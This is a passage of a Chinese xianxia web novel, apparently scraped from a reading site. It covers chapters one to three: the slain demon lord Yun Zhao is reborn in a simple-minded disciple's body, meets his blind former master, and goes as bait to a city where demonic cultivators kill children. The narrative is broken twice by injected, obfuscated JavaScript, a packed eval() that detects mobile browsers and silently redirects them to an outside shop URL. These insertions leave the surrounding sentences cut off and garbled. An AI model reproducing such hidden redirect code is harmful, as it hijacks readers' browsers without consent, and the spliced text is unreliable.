《全修真界都在为我讨回公道》 1. 重生(一) 惨雨酸风,堕指裂肤。 长宁峰上回春阵法早已失效,明镜台千年之间,罕见地落了雪。 云诏怔然注视着没入胸膛,穿心而过的长剑,自嘲地想:幸好出手杀他的是赫寒声,璇玑大陆赫赫有名的探微剑尊,若是换作别人,没有这么精妙的剑法,他不知还要多吃多少苦头,这一番属实运气不错。 执剑之人身覆雪衣,本欲抽出长剑,却被一股微弱力道拽停,他眼帘轻抬,无悲无喜地瞥去一眼—— 云诏徒手握住剑刃,锐器切割手掌,顿时涌现更多鲜血,他摇摇晃晃地站了起来,艰难扯出个笑容:“今日初见,师尊就送了弟子这样一份大礼,弟子实在是……” 乍然一口血涌至喉间,云诏忍了忍,将血吞回,面上血色尽褪:“受宠若惊。” 赫寒声赛雪欺霜地站在原地,冷灰色的瞳孔倒映着云诏血红的身影,他站在原地,好像只剩一尊空洞的躯壳。 旁人却先耐不住,替剑尊答了话。 “大胆!你堕入魔道,恶贯满盈,今日竟敢带领魔界大军翻越苍凛山脉,攻入玄天宗,若是继续放任你为祸世间,整个璇玑大陆岂不是都要成你掌中玩物?还有脸在这喊师尊,玄天宗没有你这样的弟子!” “玄天宗上下平日待你如何?竟养出了你这么一个狼心狗肺不知好歹的东西,非但不知感恩,还恩将仇报,今日不杀你,天理难容!” “诛杀魔头,替天行道!” 周遭一张张或熟悉或陌生的脸,警惕与厌恶在眼中尽显,云诏不去搭理这些人,脑袋里嗡嗡响,只注视着赫寒声。 就这样死吗? 就这么死了,不太甘心,怎么也得干出点什么惊天动地的大事。 云诏向来表里如一,在这些人警惕的目光中,他迎剑而上,稍一动,长剑没入更多,大量血液涌出,云诏顾不上这些,他按住了赫寒声握剑的手。 赫寒声瞳孔微缩,随即难以置信地垂眸。 ——云诏踮脚,吻住了赫寒声的双唇,还坏心思地咬了一口,在赫寒声洁白无瑕的脸颊和白衣上,留下了脏污的血迹。 “好痛啊,师尊……” 云诏早已拼尽全力,意识消散,身躯渐渐无力软倒,赫寒声立刻反应,长臂一捞,将人拥进自己怀中。 但是,晚了一步。 怀中人,修长白皙的脖颈无力低垂,已没了生息。 刹那间,风雪漫天,阴云密布,群鸟哀啼,满山灵花凋零,仿佛呼吸之间,苍天就变了脸色。 漫天飞扬的白雪卷着众人的叫骂声,带走了十恶不赦的大魔头。 经此明镜台一役,大魔头云诏伏诛,众魔群龙无首,遭到重创,魔界无力回天,璇玑大陆终于迎来了难得的安宁。 此明镜之战在史书上留下了浓墨重彩的一笔,在众多宗门的藏经阁中,凡是借阅《璇玑大陆编年考》的弟子,无一不批注“大快人心!”,给后世的弟子们也留下了极为壮观恢宏的一页。 - 剧烈的灼痛裹挟着跳动的心脏,那种痛楚难以言说,一旦有这种感觉,就让人不是那么想活。 云诏张着嘴猛吸了一大口气,意识回笼,他猝然睁开眼,痛苦地用手按住心脏企图缓解疼痛,但眼前的景象让他有些茫然。 再普通不过的弟子房,统一鸦青色调的床褥,摆放规矩的桌椅,云诏拍了拍自己的脸颊,心道:“我不是死了吗,怎么又活过来了,难不成自己真是个祸害要遗万年?” 凑巧桌上有一面水银镜,清亮的镜面清晰地映出了云诏此时的面容。 云诏轻轻呼吸一下——似清昙醉月,眼中闪过一抹明澈的笑意,不灼人心,清透得像是雪后初亮的天光。 云诏臭美地又照了照,才满意地收回视线。 这不是他的身体。 不过,倒是能和他那张原本霸榜璇玑大陆美人榜头名百余年的脸不相上下。可惜的就是,上一世他死太早,要不然,那头名还会是他的。 云诏看看四周,这周遭景象,又有几分熟悉,色调搭配和玄天宗的弟子房有些相像。 窗外忽然探进一个小脑袋瓜,听语气十分惊喜:“贺鑫鑫,你醒啦?” 云诏扭头,被太阳晃了一下眼睛,太阳穴突突直跳,眼前忽然浮现赫寒声那张冷漠至极的脸,和穿胸而过的剑。 心脏那里不受控制地传来剧痛,云诏下意识弓起腰身,额头冷汗直流。 但云诏这个反应却吓坏了那个翻窗而入的小弟子,小弟子连忙关窗,喋喋不休:“不是吧,发了个烧更傻了?你说你怎么就不知道看着点脚底下,追个蝶都能落水,还不知道关窗,你能活到今天,都算你命硬。” 云诏缓过来一些,暗暗心想:“原来这原身是个傻子,落水发烧了,的确痴傻之人天生魂魄不全,容易招惹像自己这种穷凶极恶的残魂附身。不过得尽早找到这小傻子被附身的原因,尽快离开,把身体还回去。” 在天地间躺着睡觉多舒服。 他可不想再来一趟了。 云诏看向小弟子:“现在是哪一年了?” 只见那小弟子一脸“果然是烧得更傻了”的神色看向他:“算了算了,你这么可怜,多你一个人吃口饭玄天宗也穷不死,你就老老实实的别惹祸,少出门,最近要是有那些穿红衣服的人来,就躲着点走,听见没?” 云诏一时没反应过来小弟子话里的意思,呆呆的没动。 这时,有人叩窗,没得到回应,来人掀起窗户,又探进来一颗毛茸茸的脑袋,冲着小弟子喊:“垂流——你怎么进去了就不出来了?刚才停岚峰的座山钟全都响了,连响三声,宗门恐怕要有大事,你跟不跟我一起去看看怎么回事?” 垂流看着又被打开了的窗子,无语回他:“……去,你等等我。” 垂流回头看云诏,语气又凶上几分:“躲着红衣服的走,听见没,回话。” 云诏:“……听见了。” 四座座山钟齐响,还是连响三声,恐怕是要发生什么天翻地覆的大事。 垂流总算满意,婆婆妈妈地叮嘱,让他睡觉记得盖被子,记得按时吃药,按时吃饭,一会他们走后记得把窗户关了,总之说了好大一通,也不管云诏理解没理解,就急吼吼又翻窗出去了。 云诏:“……” 这人还挺热心肠的,就是没告诉他现在是哪一年。 不过幸好弟子房内有天录仪,云诏瞥过去一眼,就知晓了如今的时间。 天机枢三百零三年。 自己竟然已经死了一百四十年了么…… 垂流说了那么多话,嘴里倒确实有一句有用的信息。 难怪他见这景象眼熟,这是玄天宗外门弟子的弟子房。 玄天宗内门弟子都会有专门的独居小院,因此弟子房多是为外门弟子而设,大抵是宗内哪位心善,把这小傻子捡回来,放在外门,管上一日三餐,叫他不至于饿死。 但是,是哪不行,偏偏是玄天宗。 他才死在赫寒声手里不过一百余年,就又这么堂而皇之地回来了,要是哪天没注意到暴露身份,岂不是要被挫骨扬灰。 要是这具身体是他自己的就算了,偏偏这身体是小傻子的,云诏他自己罪不容诛,但他不想牵扯进无辜的人。 还是得尽快找到从贺鑫鑫身体里出去的办法,或者想个办法,先离开玄天宗,脱离身体一事再从长计议。 毕竟他的魂魄附在这具身体上,原主的魂魄要么在这具身体的某个角落里沉睡,要么是到了酆都。 改天要找个机会去酆都问一问。 云诏本来就是坐不住的人,垂流叮嘱的话全都当了耳旁风,那句“少出门”还没在云诏脑袋里面捂热乎,就被他忘了。 云诏推门而出,大摇大摆地往长宁峰的方向走去。 他本意是去藏经阁里搜罗些史书典籍,想看看这一百四十年,璇玑大陆有没有发生什么大事,但连明镜台都还没到,云诏就远远看见了两个红衣少年,一前一后地进了千机阁。 千机阁是玄天宗宗主处理公务,接待客人的场所,若是能进千机阁议事,则证明这件事已十万火急。 云诏抓耳挠腮地想知道究竟发生了什么事,那两个红衣少年是不是就是垂流说的红衣人?但是他一个外门的小傻子,连千机阁的大门都摸不着,更别提进去旁听了。 正当他心烦之时,身后忽有一少女惊呼:“贺鑫鑫!?你怎么跑出来了?” 这话说得,像是他有多见不得人一般。 云诏整理好表情,露出个笑:“师姐——” 少女一脸严肃,语气不算好:“别套近乎,我不是让垂流告诉你最近别出门吗?还有,刚才看见律庭的那些人怎么不知道躲?你知不知道你现在有多危险……” 云诏眸光一暗。 那两个红衣少年是律庭的人? 幸好这少女也没指望云诏能回答她,无可奈何地拉着云诏往明镜台角落走:“你病还没好,走这条小路,赶紧回房,最近几天别出门,知道吗?” 云诏不太想回去,反倒对自己这么见不得人的原因十分感兴趣,正琢磨着怎么才能糊弄过去,留在这,忽听见身后一弟子高喊:“贺鑫鑫,原来你在这,可叫我们一顿好找,走啊,跟我们做悬赏去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595844|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云诏顿时在心里给这弟子竖了个大拇指。 云诏循声望去,只见一小队弟子六七个人,齐齐走来,为首那个弟子正直勾勾盯着自己,满脸的不怀好意。 少女神色一冷,二话不说将云诏护在身后:“想做悬赏你们自己去,叫他做什么?” “我说最近怎么都看不见鑫鑫,原来是叫你给关起来了,他本人知情吗?你不分青红皂白就关人禁闭,鑫鑫,走,我们带你去找顾长老申冤。” 云诏只是多看了为首说话的那弟子几眼,被少女误解成了心动想要走,少女眸光冰冷,低声怒喝:“我看你敢! “最近魔修横行,杀人放血,他们是要叫你去当饵!” “陆既明,说话要讲证据,”带队弟子冷笑,“你在这里以小人之心度君子之腹,其实有这种想法的就是你吧,反倒在这里倒打一耙,凭空污蔑我们。谁知道你成天把人关在屋里,到底有什么目的?” 陆既明死死抓住云诏的手腕:“就算我不想干好事,也要讲究个先来后到!贺鑫鑫人现在在我这里,他去哪,就得由我说了算。” 双方僵持了不知多久,不远处千机阁大门轰然被从内往外推开,看来是已经议事完毕了,两名红衣少年刚一迈步出来,就望见这态势。 个头高一些的红衣少年含笑开口:“几位道友这是在?” “公务特批,诸位道友请让一让!” 偏等不得人开口回答,又有二十来名弟子结队从两方中央穿过,他们行得很急,目的地直指停岚峰,的确也是,不管从哪里去停岚峰,从明镜台大广场中央穿过,都是最近的一条路。 原本安宁的明镜台,霎时就乱成了一锅粥。 陆既明领着云诏和五六名不怀好意的弟子隔着二十来人的队伍隔空对峙,双方都紧咬不放,不远处两名红衣少年,一名看样子想来劝架,另一名完全置身事外,抱着双臂,面色沉沉。 霎时,声停。 风云皆散,强大威压令众人面色齐齐一白。 所有弟子面露惧色,都停下原本的动作,望向太阳落下的方向。 只见一人,身形挺拔高大,雪色衣袍无风而动,他缓缓自高处迈步而下,所过之处,灵力湮灭,但又凝聚成新的一级阶梯在他脚下,步步寒霜,衣摆完整地展开,在半空划过一道漂亮的弧线。 像是走入凡世的神明。 璇玑大陆渡劫之下第一人,已入归虚境后期的探微剑尊! 这人身周气场强势,无意间散发出的威压足以慑人,唯一不足之处,就是他的双眼之上,覆着一条白色绸巾。 他的眼睛,看不见。 云诏瞳孔骤缩。 周围原本或剑拔弩张或事不关己的弟子们,全都乌泱泱跪了一片,声音又敬又惧:“弟子见过剑尊。” 虽然剑尊白绸覆眼,但所有人都感觉到,有一双眼睛,在不动声色地观察着所有人。 云诏是被陆既明按着跪下的。 陆既明压低了嗓音骂他:“你个傻子,看见剑尊怎么都不知道反应?” 云诏被一剑穿心的痛楚又密密麻麻泛起,他只茫然心想:赫寒声他的眼睛怎么了? 云诏偷偷抬眼去看,却看见赫寒声的面孔,遥遥朝着他这边。 云诏心底一寒,连忙垂头,若不是赫寒声覆着双眼,他几乎就要觉得赫寒声方才一直在看着他。 忽地,赫寒声淡漠低沉的声音在不远处响起:“何人敢在明镜台喧闹,你是谁,本座怎从未见过你?” 那弟子瑟瑟回答:“剑尊,弟子是外门主事弟子,奉命前往停岚峰查探异象。” 赫寒声未做反应,微微迈步,问那主事弟子身后一人:“你又是谁,本座见你面生。” “弟子也是外门弟子,奉命前往停岚峰查探异象。” 赫寒声朝着跪倒了一片的弟子逐个问去。 “你是谁?” “弟子奉命前往停岚峰查探异象。” “那你呢?” …… 律庭的两个红衣少年赫寒声也一一过问,一个不漏。 直到最后,赫寒声走过来时,周遭的空气仿佛都结了一层寒霜,冷香裹着寒意,直冲肺腑。 “你。” “弟子陆既明,今日轮值值守明镜台。” 云诏垂眸,安静又沉默地看着仅在自己眼前的那一片雪白绣有银灰云纹的衣角。 怎么回答呢,弟子贺鑫鑫,前往藏经阁时路过此处? 可他都编好了答案,静待片刻,轮到他时,那抹雪白色的衣角却毫无动静。 ——赫寒声忽然久久不发问。 2. 重生(二) 云诏保持沉默,察觉到赫寒声长久的沉默,他垂眸静等,忽见眼前精致的袍角甩出一道弧度,赫寒声转身离开了。 回荡在半空的声音似霜如雪:“明镜台禁止喧闹,尔等自去思过堂领罚。” 陆既明不解地望向赫寒声离开的方向,喃喃自语:“剑尊来这一趟就又回去了?” 陆既明回头,正想督促云诏赶紧回去,总不能眼睁睁地看着贺鑫鑫去送死,但没想到,身后已经空空如也。 陆既明:“……” - 寒英峰,霜庭。 小侍童没想到剑尊去而复返,吓得魂险些飞走,战战兢兢地问好:“剑尊大人。” 赫寒声并未分给他视线,脚步轻移,走入书房,随手落下了禁制。 常双月注意到这边的动静,走过来询问:“是剑尊回来了?” 小侍童点头应是。 寒英峰上人丁稀落,这么多年,从那位身死之后,宗主怕剑尊寂寥,强硬塞给寒英峰三个弟子,和两个小侍童,但赫寒声喜静,也没有再收徒的意愿,这三个弟子直到如今,也还只是记名弟子,与赫寒声不以师徒论身份。 不过这么多年了,偌大寒英峰,也仅有他们几个而已。 常双月便是这三位记名弟子之中,排辈最小的那一个。 剑尊本在闭关清修,只是今日忽然天生异象,神鸟清鸣,停岚峰是玄天宗二十四峰中最陡峭险峻,也是灵气最为浓郁的一座,因此在停岚峰上设四座警世巨钟,但谁都没想到,当年连魔界入侵璇玑大陆之时,明镜之战,以及明镜之战后爆发的仙魔战役,这四座巨钟都没响,今日忽齐齐连鸣三声,闹得人心惶惶,据看守停岚峰的弟子们说,百余年没有盛开过的灵花长春兰,今日忽然疯长,漫山遍野飘扬的都是血红色花瓣。 常双月知晓这事之后不敢怠慢,本想去禀告剑尊,但他完全没想到,已闭关清修多日的剑尊似有所感,突然自行出关,面色凝重地往停岚峰赶去。 但怎么这么快就回来了? 估计着也就刚到明镜台。 也许是剑尊已查明真相,也许是已有人前去,看样子是剑尊大人不必再亲自前去了。 常双月心里的巨石落了地,复叮嘱小侍童几声。 赫寒声静立在昏暗的屋内,忍下眼睛隐隐的灼痛,应了宗主的传讯灵蝶。 宗主的虚影顿时在赫寒声面前显现。 “探微,听说今日你罚了一串在明镜台喧闹的外门弟子?” 赫寒声言简意赅:“是。” 宗主大笑:“难得见你出手管一次宗里的事务,不知其他事务你有没有兴趣……” 宗主自己也心虚,说话声音越来越小。 赫寒声冷声回答:“多谢宗主好意,但我并无此意。” “行吧,你不愿我也不强迫,这么多年你也没过问过宗里事务,等你什么时候改主意了记得和我说,”宗主有些惋惜地道,但很快又变了语气,“今日律庭派人来找我要人,唉,烦得很,贺鑫鑫这个小弟子,不知你听说过没有?” 赫寒声脑海中立刻浮现出那个低头跪伏在他面前,畏首畏尾的小弟子。 “未曾听说过。” “近些年宗里的事你不知晓也正常,是个命苦的孩子,偏偏让律庭相中了,要他相助去百通城除魔。” 赫寒声垂眸。 虽然这段时间他都在闭关清修,但外界的事情,他并非一无所知。 最近的确发生了一件大事。 距离玄天宗二十四峰不远处有一座孤山,名为常明山,常明山山脚有一个小城镇,名为百通城,近些时日,百通城频繁出现年幼稚子失踪的案件,起初人人都以为是幼子被拐卖,城主加强护卫,并且杀了几个人贩子以儆效尤。 但没有效果。 连续不断有稚子失踪,闹得家家都闭门不出,有些极端的甚至日日夜夜都将亲子绑在床上,喂水喂饭,连日胆战心惊。 就连城主家年仅五岁的幺子,都无知无觉地,失踪了。 直到有一日,一位农户在自己的农田里,发现了一具干尸。 这具干尸血肉尽被抽干,一层干脆的薄皮包裹着枯骨,看身形,看骨头,还是个没长大的幼子,看这具干尸的衣着服饰,与前些时日城主张贴的寻人启事上,那幼儿穿着一模一样! 农户不敢再耽搁,立刻上报。 但除了短短几日之间幼子就变为干尸足够触目惊心之外,干尸上残留的浓郁魔气也颇为令人在意。 此案件竟与魔修有牵扯,律庭雷霆手段,接手了这件事。 同时也向各大宗门发布悬赏,但过去了数日,百通城仍处在水深火热之中。 赫寒声淡淡道:“因稚子心性单纯,诞生的情绪会最大化地为魔修所用,所炼化的神魂也有大用,这群魔修,竟已丧心病狂到这种地步。” 宗主有些忧心:“但也不能拿我玄天宗弟子做饵,总归有办法的,这样吧,我这边派些人手去一趟百通城,同时拖住那两个律庭来的弟子,探微,劳你去一趟律庭,和李长渡说一说,叫他别惦记着让贺鑫鑫那个孩子去送死了。” 赫寒声沉默一会,才应声:“好。” 宗主连个磕巴也没打,继续说:“行吧,知道你在闭关清修,我叫尘渊去……嗯?你答应了!? 宗主:“好好好,探微,那就劳烦你了,我还得去停岚峰一趟,我去看看座山钟是不是坏了,不该响的时候乱响……” 之前他找探微帮忙探微都果断拒绝的,刚才竟然答应了。今日还真是天生异象,怪得很。 赫寒声抬手捏碎了灵蝶符印,将他宗主师兄聒噪的声音彻底断绝。 贺鑫鑫。 自从他视力受损之后,他就修炼了灵力视物的心诀,万象心眼,平日与双眼视物无异,但当催动万象心眼心诀之时,他能看见所有人的灵力走向和神魂形态。 在明镜台。 他催动了一次万象心眼。 每个人的神魂都会有形状,神魂形状可以改变,但神魂的印记,永远不变,且独一无二,这和他们入的道、修习的功法有很大关系,有的是一轮月,有的是一团火。 但他看不见贺鑫鑫的神魂印记。 那是一片纯白的荒芜,仿佛包罗万象,河海、山川、生灵,日月群星、天地万物都容纳其中,但又好像什么都没有,仅是荒芜而已。 他恍然记起,很多年前,他为他那酷爱撒娇的小徒弟护法结丹的那一天,他教云诏内视识海,叫他说出自己识海内神魂印记的形状。 年幼的小徒弟却一脸茫然地仰头,小手抓着他的衣摆,黑亮的眼睛里满是依赖:“我什么都看不到呀师尊,白花花的一大片。” 双目忽然剧痛,赫寒声解下覆眼的白绸,大手覆住双目,指缝间,一双充满冷意的灰色琉璃似的眼瞳融入黑暗。 痛。 痛了很多年了。 - 云诏时而藏在树后,时而隐在众多弟子之中,一路跟踪那两名律庭弟子,跟踪到了他们的住处。 进门之前,矮一些的那名红衣少年忍无可忍:“够了!你是在考验我们的演技吗!” 这位少年身负红白双刀,头发不长,在脑后扎起一个小揪揪,眉眼之间尽是张扬肆意,说话之时,微微扬头,总让人有几分趾高气扬的错觉,看样子,是个被家人呵护关爱长大的小公子。 云诏叹了一声,嗨呀,这才练气初期的身体也太不好用了,连跟踪都跟踪不明白。 随后才笑嘻嘻地现身,朝着他们打招呼:“没有没有,实在是我功夫不到家,见笑了。” 高个子少年就低调得多,他转身,微微一笑,让人如沐春风:“在下卫不迟,这位是在下的师弟,澹台诫,我们两个是领律庭诏令而来,请求贵宗弟子贺鑫鑫出手相助。” 澹台诫在一旁,冷哼一声。 云诏眼珠一转:“据我所知,律庭无所不能,贺鑫鑫一个痴傻的外门小弟子,能帮你们什么?” 卫不迟轻笑:“道友伶俐机敏,想必就是传闻中的贺鑫鑫吧?” 云诏:“……” 卫不迟轻轻点了点自己的左眼:“在下能看清万物本源,多有冒犯,还请道友不要介怀,在下刚才看见了道友那一颗纯稚通透的心,与旁人天差地别,实属难得。” 澹台诫抱臂,冷冷地说道:“既然你自己主动送上门了,那就跟你说清楚也无妨,百通城魔修猖狂,滥杀无辜,利用稚子的纯洁心性,孕育魔气,像你这样的……” 那几个字似乎极为难以启齿,卫不迟保持着面上的笑容,偷偷戳了一下澹台诫。 云诏:=-= 云诏看着他,有点无语。 你本来想说的是“像我这样的傻子”吧。就是吧! 澹台诫忍了忍,继续说道:“……心性纯稚的修者,以一顶万,没有哪个魔修能抵挡住你的诱惑,所以,你来帮我们做饵,我们借机绞杀作恶的魔修。” 云诏指着自己:“你们就这么叫我去送死?” 澹台诫脾气不太好的样子,白眼一翻,刚要开口,就被他师兄压了回去。 卫不迟抱拳:“此行定极为凶险,选择权在你,不在我们,若是道友答应与我们同行,我们定竭尽全力,护佑你的安全,倘若你拒绝我们,我们也绝无二话,也不必再在此处落脚,我们即刻就赶回律庭,再重新商议破解之法。” 云诏:“这么大一件事,你们总得给我时间考虑考虑,不如你们留给我一个传讯符,等我想通了,我就给你们一个答复。” 卫不迟笑道:“那再好不过,我们等得起,但百通城等不起,还请道友尽快给我们一个答复。” 云诏摆手:“好说好说,等我的消息吧。” 等到云诏走远了,澹台诫忍不住说:“师兄,这个人究竟可靠不可靠,他到底知不知道这件事事关重要,百通城是凡人界灵气最浓的一座城,是修真界与凡人界连通的窗口,若是百通城失守……” 卫不迟摇头:“若是真有那一天,怕是做什么都不够。 “别多想了,我们先等他的消息吧。” - 云诏根本就没有想过不同意。 这是个绝佳的好机会,执行这么危险的任务,简直就是天赐的机会,小小地“死”一下,借机离开玄天宗,太妙了! 但他不能立刻就答应。 卫不迟和澹台诫这两个人,他要查清楚。 调查了半个下午,云诏身心舒畅。 这两个人,是可信的。 律庭其实严格来讲不算一个宗门,它更像一个组织。作为天道的传声筒,律庭的主要作用是向人世间宣读天谕,在天道许久未降下天谕的这段时间里,律庭的作用渐渐向仙盟倾斜。 卫不迟年仅十七岁,竟已经是辟谷初期的修为了,天赋极高,卫家嫡系次子,身世也足够显赫,律庭极为看重他,当做是律庭的下一任主事在培养,至于澹台诫,年仅十五岁,也已经到了金丹大圆满的修为,双刀用得出神入化,只是脾气火爆,不好相处。 云诏看着自己这具已经十四岁,尚还在练气初期的身体,凉凉地叹了一口气。 不过云诏很快就转换心情,将一抹灵力注入传讯符,卫不迟温柔的嗓音立刻传来:“道友,考虑得如何了?” 云诏痛快答应:“我跟你们去,现在就可以出发,你们快来找我汇合。” 卫不迟微喜。 若是现在就出发,御剑飞行,还能赶在天黑之前抵达百通城,早一刻抵达百通城,百通城得救的希望就多上一分。 但卫不迟还是慎重地和云诏确认:“此事事关重大,危险重重,你既然做诱饵,定是要与魔修直接接触的……” 云诏大义凛然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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云诏倒是无所谓,没骨头一样被澹台诫拽了过去:“也行。” 卫不迟含着笑,任澹台诫和云诏去了。 笑过闹过之后,正要出发之际,卫不迟忽然收到了律庭主事的通讯。 律庭主事李长渡,是个深藏不露的笑面虎。 这是云诏上一世身死之前,给李长渡下的唯一定论。 卫不迟正了正神色,开口询问:“师尊,急传弟子,是有什么变动吗。” 李长渡慢悠悠开口:“你们那边,情况如何了?” 卫不迟谨慎回答:“贺鑫鑫已同意协助我们前往百通城驱魔,现在我们正要启程前往百通城。” 似乎没有想到是这个答案,李长渡沉默了很久,再开口时,语气有几分微妙:“你们两个,已经和贺鑫鑫一起,要去百通城了?” 卫不迟回答得十分肯定:“是的。” 李长渡草率地结束通讯,结束前只叮嘱了一句:“好,那你们万事小心,尤其保护好贺鑫鑫。” 仔细听时,又好像能从他的语气里品出几分慷慨赴死的悲凉,似乎他接下来要面对非常可怕的事情。 卫不迟喃喃自语:“师尊身边有什么人吗,好忌惮的样子。” 澹台诫已经御剑飞起了一点高度,正施舍般地伸出一只手拽云诏上来,听见卫不迟的自言自语,他开口询问:“发生什么了?” 卫不迟摇摇头:“应该是我多想了,无妨,我们出发吧。” 三人两剑才升上高空,云诏忽然打了个寒颤:“好冷!” 澹台诫面无表情地给他分出了点真元护体。 卫不迟轻声安慰:“炼气初期的确难以耐受得住这种严寒,贺道友不必担心,有什么不适尽管开口,我们会竭尽所能帮你的。” 云诏眼中无波无澜,表情一脸感动:“那我恭敬不如从命。” 从这之后,不知道卫不迟心里如何,但澹台诫一定非常后悔做了带着云诏前往百通城的这个决定。 云诏堪堪炼气初期,其实与凡人并无太大差异,一会冷了,一会饿了,一会渴了,一会困了要睡觉,一会站累了要休息。 云诏不知道第多少次喊停的时候,连卫不迟嘴角的笑容都有一丝僵硬了。 澹台诫心累得火都发不出来:“你又怎么了?” 好端端的一个御剑飞行,让云诏活生生玩成了升降云梯! 云诏忽然正色:“已经快要到百通城了,魔修恐怕就在附近埋伏,若是叫他们发现我们的踪迹,估计魔修难以上钩,我们不宜再御剑了,更要隐藏修为,最好装成凡人入城,而我,也应尽早做上伪装。” 卫不迟垂眸思索一会,惊觉云诏的判断十分正确。他一开始根本没有考虑到这种方面。 卫不迟点头:“贺道友说得没错,我们的确要尽早做准备,若是打草惊蛇,后续会更加难以处理。” 澹台诫不想听云诏的,但总是万事都听卫不迟的,他无奈又麻木地说:“师兄,究竟是什么魔修在百通城啊,我们直接杀过去不行吗,凭借你我的实力,肯定没问题的,非要用什么诱敌之计,带着这种与凡人无异的拖油瓶,我倒是宁可带着身受重伤的金丹弟子!” 澹台诫话音还没落,忽见不远处有一满身是血的弟子从半空落下,重重地摔在地上,没有了反应。 卫不迟神色一凝,连忙落地去查探,澹台诫带着云诏,紧随其后。 卫不迟查探到对方还有呼吸之后,心落了大半:“这人已是金丹大圆满的修为,不知为何身受重伤,昏迷不醒。” 金丹、重伤。 澹台诫:“……” 卫不迟也反应过来:“……” 云诏忽然张开双手,朝向高空:“与其以凡人之躯修炼,我倒宁可被一百万颗上品灵石砸死!” 3. 百通城(一) 云诏靠坐在一旁,单手托腮,饶有兴趣地看着为人疗伤的卫不迟。 卫家养出了个好孩子。 上一世他还没死的时候,卫家就已经隐隐有成为一庭二宗五大家之中,五家之首的态势。 如今看来,这五大世家之首,也的确非卫家莫属。 各大世家有一套完整的培养后代的体系,这些世家后代们既可在家学习、修行,也可以进入修真界拜入宗门学习、修行,前者入世,后者入道。 像卫不迟这样的优秀的世家弟子,大多会进入律庭,成为联系修真界与天道之间的枢纽。 同样,各大修真宗门也可向律庭推荐人选,与这些世家弟子一同接受律庭严格的考核。 与其他宗门一样,通过考核,这些进入律庭的弟子们,会尊李长渡一声师尊。 在群狼环伺,污浊泥泞的乱世之中,卫不迟还能以一颗良善之心入世,很不错。 各种上好丹药灌进去,就算是濒死之人,也得醒过来蹦两下,更何况是个已至金丹大圆满的修者。 仅过一刻,原本满身是血重伤昏迷的弟子,已经缓了过来,在地阶丹药的效力之下,这名弟子所有的外伤已经恢复,识海之中也已是充盈的灵力。 卫不迟舒了一口气,满含歉意地看向云诏和澹台诫:“抱歉,耽误你们的时间了,幸好没有耽搁太久,等他醒来,我们就继续赶路吧?” 澹台诫抱臂站在云诏身旁,少年脸庞尚且稚嫩,说出的话倒还算通情达理:“仅仅一刻而已,对我们的计划造不成什么影响——师兄,你根本不用道歉,就算你不耽误这点时间,某个多事精也得找个理由偷懒休息。” 多事精云诏:“……” 云诏自知理亏,虽然他现在已到炼气,但也只是摸到了修行的门槛而已,只有到了筑基,才算迈过这道坎,堪堪开始能够调动真元。不过筑基期能调动的真元,几乎相当于没有就是了。他上一世修行速度太快,筑基得太早,因此并不知晓凡人之躯的脆弱。 云诏向来又是不让自己受委屈的人,因此…… 云诏心虚地移开目光,但话又说回来了,这不是没耽误进度吗,还在日落之前赶到了百通城。 卫不迟替云诏说了几句:“师弟,道本无情,人人的追求不同,莫要将你心里的想法强加到别人身上。” 澹台诫瞥了云诏一眼,“哼”一声撇过头去。 恰在此时,那弟子苏醒过来,窸窣的轻微声音引起了在场所有人的注意。 卫不迟立刻过去查探,露出他那个标志性的温柔笑容:“这位道友,感觉身体如何了?” 这位弟子站起身,目光在他们三人之中转了一圈,泛着冷光的视线,最终落到了云诏身上。 “已无大碍,多谢出手相救。” 云诏察觉到了如有实质的目光,下意识迎着看过去…… 那道视线却立刻挪开了,云诏只来得及看到一双寒潭一般的黑色眼睛。 这种感觉。 云诏微微蹙眉。 卫不迟颔首:“我观道友已经是金丹大圆满的修为了,怎会受了这么重的伤?” 韩昇默然开口:“在下韩昇,一介散修,不慎中了其他散修的埋伏,被夺宝后险些丧命,幸得三位出手相救。” 卫不迟深以为然:“最近的确有散修结伴伏击各路修者一事,律庭光是收这类事件的案卷就收到了很多份,只是没想到竟然一直没有清理干净。” 韩昇道:“阁下三位自律庭来?” 澹台诫抢答:“我和我师兄来自律庭,旁边那位,玄天宗的弟子。” 像是在极力撇清云诏和律庭的关系。 云诏听到自己被点名,抬头,随意地朝韩昇打了个招呼。 “好啦,见你已无大碍,我们就放心了,只不过我们还有要事在身,不宜在此地久留,”卫不迟忽然凑上来,“只不过此行太过危险,就不邀请你与我们同行了。” 韩昇缓缓开口:“正巧我也要趁日落前进百通城,就不在此叨扰各位了。” 一听韩昇的话,澹台诫是个急脾气,从卫不迟身后探出头来:“你也要去百通城?” 韩昇颔首:“正是。” 澹台诫一瞬间就和云诏心有灵犀地对上了视线。但澹台诫很是嫌弃和云诏的这种心有灵犀,立刻错开视线。 一听到原来韩昇是与自己同路,卫不迟的眼睛也亮了几分:“不知你可曾听闻百通城最近发生的离奇怪事?” “百通城魔修作乱,我有所耳闻,但此行,有非去不可的理由。” 三人难得地交汇一次视线,都已明了彼此所想。 这人,正巧与我们同路,还是个超强战力,要留住! 卫不迟轻轻眨眼:我刚刚救他一命,不好开口,恐有挟恩图报的嫌疑。 澹台诫挑眉:他对我有戒心,我说话他都不爱搭理我。 卫不迟和澹台诫一齐目光炯炯地看向云诏:你去。 云诏:…… 云诏认命起身,拍拍身上的泥土,朝韩昇走去:“这位道友所言极是,百通城此时乱做一团,自是少不了像道友这样以拯救苍生为己任的有志之士。” 韩昇淡淡看着他,不接他的话茬。 卫不迟和澹台诫又在他身后满脸鼓励之情…… 云诏硬着头皮踮起脚,勾住韩昇的肩颈,哥俩好似的贴上去:“你听我说,魔修阴险狡诈,你一人孤身前往,难免会有处理不了的情况,看见了没,那两个人……” 